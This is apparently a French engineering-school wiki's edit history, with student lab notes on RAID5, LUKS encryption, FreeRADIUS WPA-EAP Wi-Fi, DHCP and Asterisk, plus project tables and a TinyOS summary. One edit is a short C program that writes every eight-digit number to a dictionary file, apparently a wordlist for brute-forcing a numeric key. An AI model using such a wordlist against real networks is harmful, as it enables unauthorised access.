<pre>root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[=============>.......] recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===============>.....] recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[================>....] recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[=================>...] recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[==================>..] recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec

unused devices: <none>
root@Flash:~# cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]
[===================>.] recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec

unused devices: <none>
root@Flash:~# [ 1462.872022] md: md0: recovery done.
cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]</pre>
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: 
<pre>root@Flash:~# mkfs /dev/md0
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 523776 4k blocks and 131072 inodes
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912

Allocating group tables: done
Writing inode tables: done
Writing superblocks and filesystem accounting information: done

root@Flash:~# mount /dev/md0 /mnt
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)
</pre>

=====Cryptage de données=====
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted. 
Ensuite, on commence le cryptage des données sur la carte SD: 
<pre>root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1

WARNING!
========
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.

Are you sure? (Type uppercase yes): YES
Saisissez la phrase secrète : ***************
Vérifiez la phrase secrète : ***************</pre>

Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ : 
<pre>root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home
Saisissez la phrase secrète pour /dev/mmcblk1p1 :
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home
mke2fs 1.42.12 (29-Aug-2014)
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879
Superblocs de secours stockés sur les blocs :
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocation des tables de groupe : complété
Écriture des tables d'i-noeuds : complété
Création du journal (32768 blocs) : complété
Écriture des superblocs et de l'information de comptabilité du système de
fichiers : complété</pre>
On monte la partition : 
<pre>root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/</pre>
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: 
<pre>
root@Rason:/# umount /mnt
root@Rason:/# cryptsetup luksClose home</pre>
====Travail réalisé la 8e séance====
=====Modification routeur pour prise en charge Wifi=====
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. 
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN. 
=====Sécurisation Wifi par WPA-EAP=====
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM. 
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : 
<pre> flash Cleartext-Password:="reverse"</pre>
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 : 
<pre> client E306 {
ipaddr = 10.60.1.2
secret = password
}</pre>
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : 
<pre>aaa authentication login eap_flash group radius_flash
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc
aaa group server radius radius_flash
server 193.48.57.165 auth-port 1812 acct-port 1813

dot11 ssid SSID_FLASH
vlan 6
authentication open eap eap_flash
authentication network-eap eap_flash
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 6 mode ciphers aes-ccm tkip
ssid SSID_FLASH

interface Dot11Radio0.6
encapsulation dot1Q 6
no ip route-cache
bridge-group 6
bridge-group 6 subscriber-loop-control
bridge-group 6 spanning-disabled
bridge-group 6 block-unknown-source
no bridge-group 6 source-learning
no bridge-group 6 unicast-flooding

interface GigabitEthernet0.6
encapsulation dot1Q 6
bridge-group 6
</pre>

Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN : 
<pre>auto wlan0
iface wlan0 inet static
address 10.60.6.6
netmask 255.255.255.0
gateway 10.60.6.1
wpa-ssid SSID_FLASH
wpa-key-mgmt WPA-EAP
wpa-identity flash
wpa-password reverse</pre>
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. 
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle . 
<pre>root@Flash:~# ping 10.60.6.6
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms</pre> 
====Travail réalisé la 9e séance====
=====Serveur DHCP=====
Nous avons installé le paquet '''isc-dhcp-server'''. 
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''': 
<pre>option domain-name "speedflash.space";
option domain-name-servers 193.48.57.165;

subnet 10.60.6.0 netmask 255.255.255.0 {
range 10.60.6.10 10.60.6.40;
option routers 10.60.6.1;
}
</pre>

Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''. 
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : 
[[Fichier:DHCP iphone.png || center || 350px]] 
et nous arrivons à la pinger depuis la machine virtuelle. 
<pre>root@Flash:~# ping 10.60.6.10
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms
</pre>

=====PCBX=====
Nous avons modifiés le fichier sip.conf : 
<pre>[general]
hasvoicemail=yes
hassip=yes
hasiax=yes
callwaiting=yes
threewaycalling=yes
callwaitingcallerid=yes
transfer=yes
canpark=yes
cancallforward=yes
callreturn=yes
callgroup=1
pickupgroup=1
nat=yes

[6001]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=ThomasStephane
username=trojSmaia
secret=secret
context=work</pre>

Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX: 
<pre>[work]
exten=>_6XXX,1,Dial(SIP/${EXTEN},20)
exten => _6XXX,2,Hangup()</pre>
Nous n'avons pas encore testé cette solution.

Cahier 2016 groupe n°5

2016-11-17T10:19:45Z

Smaia : #include <stdio.h> #include <stdlib.h> int main(){ FILE *fp=fopen("dico.txt","w+"); int i =0; for(i=0;i<=99999999;i++){ fprintf(fp,"%08d\n",i); } return 0; }

Cahier 2016 groupe n°5

2016-11-17T10:03:35Z

Smaia : /* Cahier des charges */

Cahier 2016 groupe n°5

2016-11-17T10:02:40Z

Smaia : /* Travail réalisé la 4e semaine */

Projets IMA5 2016/2017

2016-10-11T14:02:02Z

Smaia : /* Matériel nécessaires */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

<table border="1">
<tr>
<th>Projet</th>
<th>Elèves</th>
<th>Encadrant Ecole</th>
<th>Rapport décembre</th>
<th>Rapports finaux</th>
<th>Vidéo</th>
</tr>

<tr>
<td>[[P1 Automatisation de tests de validation d'un logiciel embarqué]]</td>
<td> Thomas ROJ / Maxime SZWECHOWIEZ </td>
<td> Thomas VANTROYS (Ecole)</td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P3 Chaise vibrante pour enfant sourd]]</td>
<td> Geoffrey Piekacz </td>
<td> Rodolphe Astori / Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P7 Régulation temps réel sur réseau sans fil ]]</td>
<td> Morgan OBEISSART / Vincent ROBIC </td>
<td> Alexandre BOE / Thomas VANTROYS </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P14 Conversion DC-DC à liaison AC et circuit L-C-L]]</td>
<td>Nicolas WEGRZYN</td>
<td>Philippe DELARUE</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>[[P15 Entreprise : Développement d'une application iOS et Android ]]</td>
<td> Loïc DELECROIX / Julien JOIGNAUX </td>
<td> Thomas VANTROYS (Ecole) / Béatrice CADET (entreprise) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P16 Réaliser deux trackers GPS permettant de suivre à distance le trajet d'un coureur ]]</td>
<td> Valentin Taffin / Alexandre Cuadros </td>
<td> Thomas Vantroys (Ecole) / Alexandre Boé (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P19 Relai Ethernet Lora ]]</td>
<td> Cong CHEN / Sonia NDUWAYO </td>
<td> Xavier Redon </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P20 Conception d'un périphérique USB de type "gadget"]]</td>
<td> Florian Giovannangeli </td>
<td> Xavier Redon (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P23 Poste ébavurage de pièces plastiques ]]</td>
<td> Corentin CASIER / Jordan RAZAFINDRAIBE </td>
<td> Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P24 Contrôle qualité de la production de pièces plastiques ]]</td>
<td> Alex JULITA / Matthier HERWEGH </td>
<td> Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P31 Partition HTTP/TLS pour Pepin]]</td>
<td> Mageshwaran SEKAR </td>
<td> Julien IGUCHI-CARTIGNY</td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P39 Ajouter de nouvelles interactions à la solution Tezeos ]]</td>
<td> Nathan RICHEZ </td>
<td> Samuel Tranchet (Entreprise) / Thomas Vantroys (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P42 Dispositif à retour tactile ]]</td>
<td> Pierre FITOUSSI </td>
<td> Laurent GRISONI </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P44 Identification d'un robot mobile ]]</td>
<td> Michel MIKHAEL </td>
<td> Midzodzi PEKPE </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P47 Développement d'une interface cerveau-ordinateur ]]</td>
<td> Victor CHARNET </td>
<td> C. Lecocq (Ecole) F. Cabestaing (Labo) A. Duprès (Labo)</td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P52 Application mobile musicale]]</td>
<td> Julien Bielle/Romain Ruet </td>
<td> Thomas Vantroys (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<td>[[P54 Robot assisté par vision pour le tri de pièces métalliques]]</td>
<td> Julian BONVILLE </td>
<td> Rochdi MERZOUKI (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P56 Robot testeur de club de golf]]</td>
<td> Joshua LETELLIER </td>
<td> Rochdi MERZOUKI (Ecole) / Guillaume DEWAELE (Entreprise) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P57 Robotisation d'un poste de production de pièces à base de fil métallique ]]</td>
<td> Audrey AFFOYON </td>
<td> Blaise CONRARD </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P59 Popsell : application mobile]]</td>
<td> Quentin GRUSON </td>
<td> Thomas VANTROYS (Ecole) / François Vandeplanque (Popsell) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P61 Jeux d'aventure grandeur nature ]]</td>
<td> MAIA Stéphane / LENTIEUL Romuald </td>
<td> GAPAS / Thomas Vantroys (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P64 Sécurité de l'IOT ]]</td>
<td> Cédric DUVAL </td>
<td> Thomas Vantroys (Ecole) / Alexandre Boé (Ecole)</td>
<td> </td>
<td> </td>
<td> </td>
</tr>

<tr>

</table>

== Matériel nécessaires ==

<table border="1">
<tr>
<th>Projet</th>
<th>Matériel</th>
</tr>
<tr>
<td>P15</td>
<td> 2 téléphones Android (reçus le 30 septembre. Une boite complète + 1 boite sans câble de connexion) </td>
</tr>
<tr>
<td>P52</td>
<td> 2 téléphones Android (reçus le 5 octobre. Deux boites complètes) </td>
</tr>
<tr>
<td>P61</td>
<td> une tablette Android reçu le 10/10/2016 1 Raspberry pi (+dongle Wifi) reçu le 10/10/2016
 9 Raspberry pi (+dongle Wifi) 9 Haut-Parleurs simples </td>
</tr>

</table>

Projets IMA5 2016/2017

2016-10-11T13:59:17Z

Smaia : /* Matériel nécessaires */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

<table border="1">
<tr>
<th>Projet</th>
<th>Elèves</th>
<th>Encadrant Ecole</th>
<th>Rapport décembre</th>
<th>Rapports finaux</th>
<th>Vidéo</th>
</tr>

<tr>
<td>[[P1 Automatisation de tests de validation d'un logiciel embarqué]]</td>
<td> Thomas ROJ / Maxime SZWECHOWIEZ </td>
<td> Thomas VANTROYS (Ecole)</td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P3 Chaise vibrante pour enfant sourd]]</td>
<td> Geoffrey Piekacz </td>
<td> Rodolphe Astori / Alexandre Boé / Thomas Vantroys </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P7 Régulation temps réel sur réseau sans fil ]]</td>
<td> Morgan OBEISSART / Vincent ROBIC </td>
<td> Alexandre BOE / Thomas VANTROYS </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P14 Conversion DC-DC à liaison AC et circuit L-C-L]]</td>
<td>Nicolas WEGRZYN</td>
<td>Philippe DELARUE</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>[[P15 Entreprise : Développement d'une application iOS et Android ]]</td>
<td> Loïc DELECROIX / Julien JOIGNAUX </td>
<td> Thomas VANTROYS (Ecole) / Béatrice CADET (entreprise) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P16 Réaliser deux trackers GPS permettant de suivre à distance le trajet d'un coureur ]]</td>
<td> Valentin Taffin / Alexandre Cuadros </td>
<td> Thomas Vantroys (Ecole) / Alexandre Boé (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P19 Relai Ethernet Lora ]]</td>
<td> Cong CHEN / Sonia NDUWAYO </td>
<td> Xavier Redon </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P20 Conception d'un périphérique USB de type "gadget"]]</td>
<td> Florian Giovannangeli </td>
<td> Xavier Redon (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P23 Poste ébavurage de pièces plastiques ]]</td>
<td> Corentin CASIER / Jordan RAZAFINDRAIBE </td>
<td> Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P24 Contrôle qualité de la production de pièces plastiques ]]</td>
<td> Alex JULITA / Matthier HERWEGH </td>
<td> Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P31 Partition HTTP/TLS pour Pepin]]</td>
<td> Mageshwaran SEKAR </td>
<td> Julien IGUCHI-CARTIGNY</td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P39 Ajouter de nouvelles interactions à la solution Tezeos ]]</td>
<td> Nathan RICHEZ </td>
<td> Samuel Tranchet (Entreprise) / Thomas Vantroys (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P42 Dispositif à retour tactile ]]</td>
<td> Pierre FITOUSSI </td>
<td> Laurent GRISONI </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P44 Identification d'un robot mobile ]]</td>
<td> Michel MIKHAEL </td>
<td> Midzodzi PEKPE </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P47 Développement d'une interface cerveau-ordinateur ]]</td>
<td> Victor CHARNET </td>
<td> C. Lecocq (Ecole) F. Cabestaing (Labo) A. Duprès (Labo)</td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P52 Application mobile musicale]]</td>
<td> Julien Bielle/Romain Ruet </td>
<td> Thomas Vantroys (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<td>[[P54 Robot assisté par vision pour le tri de pièces métalliques]]</td>
<td> Julian BONVILLE </td>
<td> Rochdi MERZOUKI (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P56 Robot testeur de club de golf]]</td>
<td> Joshua LETELLIER </td>
<td> Rochdi MERZOUKI (Ecole) / Guillaume DEWAELE (Entreprise) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P57 Robotisation d'un poste de production de pièces à base de fil métallique ]]</td>
<td> Audrey AFFOYON </td>
<td> Blaise CONRARD </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P59 Popsell : application mobile]]</td>
<td> Quentin GRUSON </td>
<td> Thomas VANTROYS (Ecole) / François Vandeplanque (Popsell) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P61 Jeux d'aventure grandeur nature ]]</td>
<td> MAIA Stéphane / LENTIEUL Romuald </td>
<td> GAPAS / Thomas Vantroys (Ecole) </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>[[P64 Sécurité de l'IOT ]]</td>
<td> Cédric DUVAL </td>
<td> Thomas Vantroys (Ecole) / Alexandre Boé (Ecole)</td>
<td> </td>
<td> </td>
<td> </td>
</tr>

<tr>

</table>

== Matériel nécessaires ==

<table border="1">
<tr>
<th>Projet</th>
<th>Matériel</th>
</tr>
<tr>
<td>P15</td>
<td> 2 téléphones Android (reçus le 30 septembre. Une boite complète + 1 boite sans câble de connexion) </td>
</tr>
<tr>
<td>P52</td>
<td> 2 téléphones Android (reçus le 5 octobre. Deux boites complètes) </td>
</tr>
<tr>
<td>P61</td>
<td> une tablette Android reçu le 10/10/2016 1 Raspberry pi (+dongle Wifi) reçu le 10/10/2016
 9 Raspberry pi (+dongle Wifi) </td>
 9 Haut-Parleurs simples </td>
</tr>

</table>

Cahier 2016 groupe n°5

2016-10-10T08:29:09Z

Smaia : /* Réalisation 1ère semaine */

Cahier 2016 groupe n°5

2016-10-10T08:28:36Z

Smaia : /* Réalisation 1ère semaine */

Cahier 2016 groupe n°5

2016-10-10T08:27:06Z

Smaia : Page créée avec « == Cahier des charges == === Présentation du travail === ==== Répartition du travail ==== {| class="wikitable alternance centre" |- ! scope="row" | Séance 1 (03/10) ... »

InitRech 2015/2016, sujet 27

2016-06-16T16:05:03Z

Smaia : /* Summary */

= Summary =

This documents talk about TinyOS which is an operating system for sensor networks. Due to their low cost, and their many possibilities of use, the Sensor networks are currently more and more spread. They will be lot of researches and jobs associated in this field because of some problem who needs to be resolve like limited resources due to their small size, reactive concurrency, flexibility to remove or replace some specific components (like sensor or software without bug) and finally the power cost which need to be reducing at the best.
 Those four problemss are better and better resolve by TinyOs:
 With few than 400 Bytes, TinyOS is a flexible Operating system implemented in NesC language. The NesC language is a language derivate form the C programming language. It allows to reduce the use of the memory and the power needs in calculation. This operating system doesn’t works like other OS, It is before anything else a device to program embedded systems to communicate and interact. All the components programmable by the tinyOS shares instructions for inter-component communication like commands and events, but also instructions for intra-component concurrency: tasks. Namely command can activate or initiate a sensor, event is used to signal the accomplishment of a command. A task allows scheduling the handler of commands and events.
 A component can use two different types of interfaces, the first ones which are supply by it and on the contrary the seconds ones which are used by the component. An interface is a constituent of the component which is itself a component of a TinyOS program. Interfaces contain rightly commands and events. Above all of this, the NesC divide component in two types : modules and configurations. Modules are the programming code on the opposite, configurations are here to connect component together.
 Several hardware interfaces are already implemented in the TinyOS to enable the System to be install and interact with lot of different devices.
 The scheduling is made by asynchronous handlers. It is a FIFO scheduler which organize the executions of tasks. Handlers can interrupt a task if a task need to be quickly executed. Thanks to the NesC detection of data races, lots of bug are avoided. But Tiny OS can use some other method of scheduling g like earliest-deadline first if the users wants to. To improve the quality of schedule, the code is categorized in two different types: The asynchronous code opposite to the Synchronous code. The first is reachable from at least one interrupt handler while the second is one is only reachable from tasks. All these things enable TinyOS to have a real quick concurrency.
 To limit the size of a Tiny OS program, the component graph of a program can know which component it needs, thanks to this it will not contains the other which are useless. During the compilation of a program, Tiny will reduce at the best the size of the code by removing redundancy and some other annoying stuffs.

 Actually TinyOs can be used to make Habitat monitoring, objet tracking to localize precisely an object moving in a sensor field, which will be our sensor network with Tiny OS, or TinyDb which is a declarative query processor.

=Main Contribution=
The main contribution of this articles is to introduce this Operating system as many people as possible, especially to people working on sensor network. This OS can answers to all their problems. In return to the help of the TinyOS , company could participate on giving money to the development of this device. Because of its free disposition, people working on it have to be paid with another solution which is donation. I think this article is in particular a solution to ask for donation. But it also can help developers to understand how the operating system works, and to handle it. This article is well detailed on its structuration and how the interaction on all its component works. This article ,try to convince step by step , that the TinyOS is the best solution in OS with sensor network, by its flexibility to be install and interact with all types of materials, all technicians or developer can be interested to try this operating system with their materials.

=Applications=
With the object tracking application possible in the TinyOS, we could imagine an adaptation in driverless car .We could install many sensors trough a city to localize driverless cars and interact with them to help them moving. It would be more secure and would avoid traffic jam. But for an optimal security you have to be sure to have a real time operating system. TinyOS could answers to this problem. The main drawback would be to buy and install a lot of sensors in each city, it would be really expensive. But the solidity and durability of sensors make the idea real interesting in my opinion.
 Another application would be for sport, games or jobs which need to interact instantly with a computer program. For example, in scrim, sportsmen wear clothes with many sensors to know if a contact has been established between the clothes and the adversary blade. The speed of reaction and the precision giving by Tiny OS could be interesting for them, to know precisely where they have been touch and when. Thereby they could improve their skills, to avoid to be hit and finally to win.
 We could also imagine video games applications, in the same idea of connected clothes, TinyOS could make the interaction between real life and the games in real time. We could run in football games at the same speed of the character or move in action games as if we were real hero, to avoid some stuffs or punch in a boxes games , like Nintendo Wii but more precisely. It would interest many people because of the market of video games which is in good health and which is very advertising. It would be good for the health because it could make sports for people who are not doing sports regularly.
 And finally we could imagine an application in a bigger size, for the boat in sea. The sensor should be on buoy, to localize every boat and why not plane crash in the sea. The advantage will be for more security and help in case of accident. Boat or plane could send a signal to the buoy nearer, which should transmit the signal to rescue people. The rescue men could know more or less precisely (near the buoy) where search to find the boat or the plane who or which need to be rescue.

InitRech 2015/2016, sujet 27

2016-06-16T16:02:48Z

Smaia : Page créée avec « = Summary = This documents talk about TinyOS which is an operating system for sensor networks. Due to their low cost, and their many possibilities of use, the Sensor network... »

Initiation à la recherche SC 2015/2016

2016-05-27T16:11:47Z

Smaia : /* Productions */

=Articles=

Les articles que vous devez consulter sont classés par thèmes dans cette section.

== Robotique Déformable ==

* [https://hal.archives-ouvertes.fr/hal-00823766/file/icra2013.pdf Control of Elastic Soft Robots based on Real-Time Finite Element Method]
* [https://hal.inria.fr/hal-01163760/file/ICRA15_2950_FI.pdf Real-time Control of Soft-Robots using Asynchronous Finite Element Modeling]
* [https://hal.inria.fr/hal-01183293/file/IEEE_ICRA14.pdf Domain decomposition approach for FEM quasistatic modeling and control of Continuum Robots with rigid vertebras]

== Réalité Augmentée ==

* [https://hal.inria.fr/hal-01136728/file/haouchineTVCG2014-low.pdf Impact of Soft Tissue Heterogeneity on Augmented Reality for Liver Surgery]
* [https://hal.inria.fr/hal-01186011/file/haouchine_tvcg_2015.pdf Monocular 3D Reconstruction and Augmentation of Elastic Surfaces with Self-occlusion Handling]

== Simulation Médicale ==

* [https://hal.inria.fr/hal-01226256/file/Vriphys.pdf Vascular neurosurgery simulation with bimanual haptic feedback]
* [https://hal.inria.fr/hal-01160297/file/Sofa-EG2015.pdf Surgery Training, Planning and Guidance Using the SOFA Framework]
* [https://hal.inria.fr/hal-00855821/document Computer-based training system for cataract surgery]
* [https://hal.inria.fr/hal-01242851/file/EMBC%202015%20submission.pdf Anticipation of Brain Shift in Deep Brain Stimulation Automatic Planning]
* [https://hal.inria.fr/hal-00681539/document SOFA: A Multi-Model Framework for Interactive Physical Simulation]
* [https://hal.inria.fr/hal-01078209/file/HugoTalbot-ISBMS2014.pdf Interactive Training System for Interventional Electrocardiology Procedures]
* [https://hal.inria.fr/hal-00838650/file/3paper.pdf Simulation of Lipo lling Reconstructive Surgery using coupled Eulerian Fluid and Deformable Solid Models]

== Imagerie médicale / Traitements d'images ==

* [http://onlinelibrary.wiley.com/doi/10.1111/str.12136/full B-spline Based Multi-organ Detection in Magnetic Resonance Imaging]
* [https://hal.inria.fr/hal-00741307/document Local implicit modeling of blood vessels for interactive simulation]

== Parallélisation automatique ==

* [[Media:scan_detection.pdf|Detection of Scans in the Polytop Model]]

== Analyse de programmes ==

* [http://rex.plil.fr/Recherche/europar02.pdf On the Equivalence of Two Systemes of Affine Recurrence Equations]

== Energie dans les systèmes embarqués ==

